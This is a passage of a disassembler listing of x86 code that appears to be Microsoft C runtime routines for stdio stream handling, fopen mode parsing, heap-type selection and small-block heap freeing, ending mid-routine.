sub_41A634	proc near		; CODE XREF: sub_419E38+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41A634	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A642	proc near		; CODE XREF: sub_417794+17p
					; sub_417794+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41A660
		mov	ecx, off_4395A0
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41A6B2
; ---------------------------------------------------------------------------

loc_41A660:				; CODE XREF: sub_41A642+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_4395A0
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41A685
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41A68E
; ---------------------------------------------------------------------------

loc_41A685:				; CODE XREF: sub_41A642+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1

loc_41A68E:				; CODE XREF: sub_41A642+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41FB63
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A6AE
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A6AE:				; CODE XREF: sub_41A642+68j
		movzx	eax, word ptr [ebp+arg_0+2]

loc_41A6B2:				; CODE XREF: sub_41A642+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41A642	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A6B7	proc near		; CODE XREF: sub_417900+2Ap
					; sub_41FEC6+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_48B440
		jnb	loc_41A751
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41A751
		push	edi
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A730
		cmp	edi, 1
		jz	short loc_41A6FE
		cmp	edi, 2
		jnz	short loc_41A714

loc_41A6FE:				; CODE XREF: sub_41A6B7+40j
		push	2
		call	sub_41FE32
		push	1
		mov	ebp, eax
		call	sub_41FE32
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41A730

loc_41A714:				; CODE XREF: sub_41A6B7+45j
		push	edi
		call	sub_41FE32
		pop	ecx
		push	eax
		nop
		call	near ptr 25F1A27h
		test	eax, eax
		jnz	short loc_41A730
		nop
		call	near ptr 2610941h
		mov	ebp, eax
		jmp	short loc_41A732
; ---------------------------------------------------------------------------

loc_41A730:				; CODE XREF: sub_41A6B7+3Bj
					; sub_41A6B7+5Bj ...
		xor	ebp, ebp

loc_41A732:				; CODE XREF: sub_41A6B7+77j
		push	edi
		call	sub_41FDB8
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41A74D
		push	ebp
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41A762
; ---------------------------------------------------------------------------

loc_41A74D:				; CODE XREF: sub_41A6B7+8Bj
		xor	eax, eax
		jmp	short loc_41A765
; ---------------------------------------------------------------------------

loc_41A751:				; CODE XREF: sub_41A6B7+Ej
					; sub_41A6B7+2Fj
		and	dword_48A018, 0
		mov	dword_48A014, 9

loc_41A762:				; CODE XREF: sub_41A6B7+94j
		or	eax, 0FFFFFFFFh

loc_41A765:				; CODE XREF: sub_41A6B7+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A6B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A76A	proc near		; CODE XREF: sub_417900+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41A793
		test	al, 8
		jz	short loc_41A793
		push	dword ptr [esi+8]
		call	sub_417C3B
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_41A793:				; CODE XREF: sub_41A76A+Aj
					; sub_41A76A+Ej
		pop	esi
		retn
sub_41A76A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A795	proc near		; CODE XREF: sub_41A835+2Dp
					; sub_41A835+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41A7A7
		push	esi
		call	sub_41A835
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A7A7:				; CODE XREF: sub_41A795+7j
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jz	short loc_41A7B7
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A7B7:				; CODE XREF: sub_41A795+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41A7CC
		push	dword ptr [esi+10h]
		call	sub_41FE6F
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41A7CC:				; CODE XREF: sub_41A795+26j
		xor	eax, eax
		pop	esi
		retn
sub_41A795	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A7D0	proc near		; CODE XREF: sub_417900+1Ap
					; sub_418D0E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41A81D
		test	ax, 108h
		jz	short loc_41A81D
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41A81D
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41A816
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41A81D
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------

loc_41A816:				; CODE XREF: sub_41A7D0+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_41A81D:				; CODE XREF: sub_41A7D0+14j
					; sub_41A7D0+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41A7D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A82C	proc near		; CODE XREF: sub_41FAE7p
		push	1
		call	sub_41A835
		pop	ecx
		retn
sub_41A82C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A835	proc near		; CODE XREF: sub_41A795+Ap
					; sub_41A82C+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_48B320, esi
		jle	short loc_41A893

loc_41A846:				; CODE XREF: sub_41A835+5Cj
		mov	eax, dword_48A310
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41A88A
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41A88A
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41A870
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41A88A
		inc	ebx
		jmp	short loc_41A88A
; ---------------------------------------------------------------------------

loc_41A870:				; CODE XREF: sub_41A835+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41A88A
		test	cl, 2
		jz	short loc_41A88A
		push	eax
		call	sub_41A795
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41A88A
		or	edi, eax

loc_41A88A:				; CODE XREF: sub_41A835+1Bj
					; sub_41A835+23j ...
		inc	esi
		cmp	esi, dword_48B320
		jl	short loc_41A846

loc_41A893:				; CODE XREF: sub_41A835+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41A89E
		mov	eax, edi

loc_41A89E:				; CODE XREF: sub_41A835+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A835	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8A2	proc near		; CODE XREF: sub_417956+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41FA1C
		test	eax, eax
		pop	ecx
		jz	short loc_41A92B
		cmp	esi, offset dword_43BCD8
		jnz	short loc_41A8C0
		xor	eax, eax
		jmp	short loc_41A8CB
; ---------------------------------------------------------------------------

loc_41A8C0:				; CODE XREF: sub_41A8A2+18j
		cmp	esi, offset dword_43BCF8
		jnz	short loc_41A92B
		push	1
		pop	eax

loc_41A8CB:				; CODE XREF: sub_41A8A2+1Cj
		inc	dword_48A1D8
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41A92B
		cmp	dword_48A06C[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:48A06Ch[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41A911
		push	ebx
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41A911
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41A91E
; ---------------------------------------------------------------------------

loc_41A911:				; CODE XREF: sub_41A8A2+4Dj
					; sub_41A8A2+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx

loc_41A91E:				; CODE XREF: sub_41A8A2+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A92B:				; CODE XREF: sub_41A8A2+10j
					; sub_41A8A2+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_41A8A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A92F	proc near		; CODE XREF: sub_417956+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41A959
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41A96A
		push	esi
		call	sub_41A7D0
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A959:				; CODE XREF: sub_41A92F+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41A96A
		push	eax
		call	sub_41A7D0
		pop	ecx

loc_41A96A:				; CODE XREF: sub_41A92F+10j
					; sub_41A92F+32j
		pop	esi
		retn
sub_41A92F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A96C	proc near		; CODE XREF: sub_417988+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_48A1E0
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41A9A5
		cmp	al, 72h
		jz	short loc_41A99E
		cmp	al, 77h
		jnz	loc_41AAB9
		mov	ecx, 301h
		jmp	short loc_41A9AA
; ---------------------------------------------------------------------------

loc_41A99E:				; CODE XREF: sub_41A96C+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41A9AD
; ---------------------------------------------------------------------------

loc_41A9A5:				; CODE XREF: sub_41A96C+1Dj
		mov	ecx, 109h

loc_41A9AA:				; CODE XREF: sub_41A96C+30j
		or	esi, 2

loc_41A9AD:				; CODE XREF: sub_41A96C+37j
		push	1
		pop	edx

loc_41A9B0:				; CODE XREF: sub_41A96C+8Bj
					; sub_41A96C+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41AA9F
		cmp	edx, ebx
		jz	loc_41AA9F
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41AA3E
		jz	short loc_41AA2E
		sub	eax, 2Bh
		jz	short loc_41AA18
		sub	eax, 19h
		jz	short loc_41AA0E
		sub	eax, 0Eh
		jz	short loc_41A9F9
		dec	eax
		jnz	loc_41AA90
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41A9F9:				; CODE XREF: sub_41A96C+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41AA90
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA0E:				; CODE XREF: sub_41A96C+6Aj
		test	cl, 40h
		jnz	short loc_41AA90
		or	ecx, 40h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA18:				; CODE XREF: sub_41A96C+65j
		test	cl, 2
		jnz	short loc_41AA90
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA2E:				; CODE XREF: sub_41A96C+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41AA90
		or	ecx, eax
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA3E:				; CODE XREF: sub_41A96C+5Ej
		sub	eax, 62h
		jz	short loc_41AA8B
		dec	eax
		jz	short loc_41AA74
		sub	eax, 0Bh
		jz	short loc_41AA5D
		sub	eax, 6
		jnz	short loc_41AA90
		test	ch, 0C0h
		jnz	short loc_41AA90
		or	ch, 40h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA5D:				; CODE XREF: sub_41A96C+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA74:				; CODE XREF: sub_41A96C+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41AA90
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA8B:				; CODE XREF: sub_41A96C+D5j
		test	ch, 0C0h
		jz	short loc_41AA97

loc_41AA90:				; CODE XREF: sub_41A96C+72j
					; sub_41A96C+7Bj ...
		xor	edx, edx
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA97:				; CODE XREF: sub_41A96C+122j
		or	ch, 80h
		jmp	loc_41A9B0
; ---------------------------------------------------------------------------

loc_41AA9F:				; CODE XREF: sub_41A96C+4Aj
					; sub_41A96C+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FEC6
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41AABD

loc_41AAB9:				; CODE XREF: sub_41A96C+25j
		xor	eax, eax
		jmp	short loc_41AAD7
; ---------------------------------------------------------------------------

loc_41AABD:				; CODE XREF: sub_41A96C+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_48A1D8
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx

loc_41AAD7:				; CODE XREF: sub_41A96C+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A96C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AADC	proc near		; CODE XREF: sub_417988p
		mov	edx, dword_48B320
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41AB4D
		mov	ebx, dword_48A310
		mov	edi, ebx

loc_41AAF8:				; CODE XREF: sub_41AADC+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41AB13
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41AB0E
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41AAF8
		jmp	short loc_41AB4D
; ---------------------------------------------------------------------------

loc_41AB0E:				; CODE XREF: sub_41AADC+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41AB37
; ---------------------------------------------------------------------------

loc_41AB13:				; CODE XREF: sub_41AADC+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_417B89
		pop	ecx
		mov	ecx, dword_48A310
		mov	[edi+ecx], eax
		mov	eax, dword_48A310
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41AB4D
		mov	esi, edi

loc_41AB37:				; CODE XREF: sub_41AADC+35j
		cmp	esi, ebp
		jz	short loc_41AB4D
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp

loc_41AB4D:				; CODE XREF: sub_41AADC+12j
					; sub_41AADC+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41AADC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB54	proc near		; CODE XREF: sub_417B9B+1Fp
					; sub_41944F+126p ...

arg_0		= dword	ptr  4

		mov	eax, dword_48A078
		test	eax, eax
		jz	short loc_41AB6C
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41AB6C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41AB6C:				; CODE XREF: sub_41AB54+7j
					; sub_41AB54+12j
		xor	eax, eax
		retn
sub_41AB54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB6F	proc near		; CODE XREF: ___:0041ACD2p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 26E0A99h
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41AB9A
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41AB9A
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al

loc_41AB9A:				; CODE XREF: sub_41AB6F+15j
					; sub_41AB6F+1Cj
		pop	esi
		retn
sub_41AB6F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_417B30
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 27515ADh
		test	eax, eax
		jz	short loc_41ABDF
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41ABDF
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41ABDF
		push	1
		pop	eax
		jmp	loc_41ACE1
; ---------------------------------------------------------------------------

loc_41ABDF:				; CODE XREF: ___:0041ABC3j
					; ___:0041ABCCj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	near ptr 2800000h
		nop
		test	eax, eax
		jz	loc_41ACCE
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41AC21

loc_41AC0E:				; CODE XREF: ___:0041AC1Fj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC1C
		cmp	al, 7Ah
		jg	short loc_41AC1C
		sub	al, 20h
		mov	[ecx], al

loc_41AC1C:				; CODE XREF: ___:0041AC12j
					; ___:0041AC16j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC0E

loc_41AC21:				; CODE XREF: ___:0041AC0Cj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_418DA0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41AC43
		lea	eax, [ebp-122Ch]
		jmp	short loc_41AC8C
; ---------------------------------------------------------------------------

loc_41AC43:				; CODE XREF: ___:0041AC39j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2620000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41AC77

loc_41AC64:				; CODE XREF: ___:0041AC75j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41AC72
		cmp	al, 7Ah
		jg	short loc_41AC72
		sub	al, 20h
		mov	[ecx], al

loc_41AC72:				; CODE XREF: ___:0041AC68j
					; ___:0041AC6Cj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41AC64

loc_41AC77:				; CODE XREF: ___:0041AC62j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_417880
		pop	ecx
		pop	ecx

loc_41AC8C:				; CODE XREF: ___:0041AC41j
		cmp	eax, ebx
		jz	short loc_41ACCE
		push	2Ch
		push	eax
		call	sub_418F50
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41ACCE
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41ACB3

loc_41ACA5:				; CODE XREF: ___:0041ACB1j
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41ACAE
		mov	[ecx], bl
		jmp	short loc_41ACAF
; ---------------------------------------------------------------------------

loc_41ACAE:				; CODE XREF: ___:0041ACA8j
		inc	ecx

loc_41ACAF:				; CODE XREF: ___:0041ACACj
		cmp	[ecx], bl
		jnz	short loc_41ACA5

loc_41ACB3:				; CODE XREF: ___:0041ACA3j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41881C
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41ACE1
		cmp	eax, 3
		jz	short loc_41ACE1
		cmp	eax, 1
		jz	short loc_41ACE1

loc_41ACCE:				; CODE XREF: ___:0041ABF8j
					; ___:0041AC8Ej ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41AB6F
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3

loc_41ACE1:				; CODE XREF: ___:0041ABDAj
					; ___:0041ACC2j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dd 6AC033h, 8244439h, 100068h, 0C0940F00h, 71E89050h, 85023F54h
		dd 0B684A3C0h, 36740048h, 0FFFE93E8h, 3F883FFh,	48B688A3h
		dd 680D7500h, 3F8h, 24E8h, 0AEB5900h, 7502F883h, 0B5EE818h
		dd 0C0850000h, 35FF0F75h, 48B684h, 52C6E890h, 0C033023Fh
		dd 58016AC3h, 14068C3h,	6A0000h, 0B68435FFh, 0E8900048h
		dd 22B52ACh, 7CA3C085h,	750048B6h, 4C8BC301h, 25830424h
		dd 48B674h, 78258300h, 48B6h, 70A3016Ah, 890048B6h, 48B6800Dh
		dd 6805C700h, 100048B6h, 58000000h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41AD89	proc near		; CODE XREF: sub_417C3B+17p
					; sub_41944F+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_48B678
		lea	ecx, [eax+eax*4]
		mov	eax, dword_48B67C
		lea	ecx, [eax+ecx*4]

loc_41AD99:				; CODE XREF: sub_41AD89+26j
		cmp	eax, ecx
		jnb	short loc_41ADB1
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41ADB3
		add	eax, 14h
		jmp	short loc_41AD99
; ---------------------------------------------------------------------------

loc_41ADB1:				; CODE XREF: sub_41AD89+12j
		xor	eax, eax

locret_41ADB3:				; CODE XREF: sub_41AD89+21j
		retn
sub_41AD89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB4	proc near		; CODE XREF: sub_417C3B+23p
					; sub_41944F+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41B0D8
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41AE8A
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE18
		push	3Fh
		pop	edx

loc_41AE18:				; CODE XREF: sub_41ADB4+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41AE6C
		cmp	edx, 20h
		jnb	short loc_41AE43
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41AE64
; ---------------------------------------------------------------------------

loc_41AE43:				; CODE XREF: sub_41ADB4+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41AE64
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41AE64:				; CODE XREF: sub_41ADB4+86j
					; sub_41ADB4+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41AE6F
; ---------------------------------------------------------------------------

loc_41AE6C:				; CODE XREF: sub_41ADB4+6Aj
		mov	ecx, [ebp+var_4]

loc_41AE6F:				; CODE XREF: sub_41ADB4+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx

loc_41AE8A:				; CODE XREF: sub_41ADB4+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41AE98
		push	3Fh
		pop	edx

loc_41AE98:				; CODE XREF: sub_41ADB4+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41AF3B
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41AEBD
		mov	ebx, esi

loc_41AEBD:				; CODE XREF: sub_41ADB4+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41AECF
		mov	edx, esi

loc_41AECF:				; CODE XREF: sub_41ADB4+117j
		cmp	ebx, edx
		jz	short loc_41AF36
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41AF1E
		cmp	ebx, 20h
		jnb	short loc_41AEFF
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41AF1E
; ---------------------------------------------------------------------------

loc_41AEFF:				; CODE XREF: sub_41ADB4+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41AF1E
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi

loc_41AF1E:				; CODE XREF: sub_41ADB4+128j
					; sub_41ADB4+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
